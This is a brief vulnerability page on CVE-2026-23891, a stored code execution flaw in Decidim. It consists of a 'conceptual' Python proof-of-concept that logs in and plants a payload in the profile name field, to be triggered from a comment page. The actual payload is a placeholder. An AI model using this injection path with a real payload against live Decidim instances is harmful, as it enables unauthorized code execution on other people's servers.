CVE-2026-23891 Decidim存储型代码执行漏洞

# Conceptual PoC for CVE-2026-23891 # This script demonstrates how an attacker might send a malicious payload to the user name field. import requests target_url = "http://target-decidim-instance.com" session = requests.Session() # 1. Attacker logs in login_data = { "user[email]": "[email protected]", "user[password]": "password" } session.post(f"{target_url}/users/sign_in", data=login_data) # 2. Attacker updates profile with malicious payload in the name field # Payload represents a code execution exploit (e.g., deserialization gadget) malicious_payload = "<malicious_code_execution_payload>" update_data = { "user[name]": malicious_payload, # ... other required fields } response = session.post(f"{target_url}/profile", data=update_data) if response.status_code == 200: print("[+] Payload injected successfully via user name field.") print("[+] Trigger execution by visiting a comment page.") else: print("[-] Injection failed.")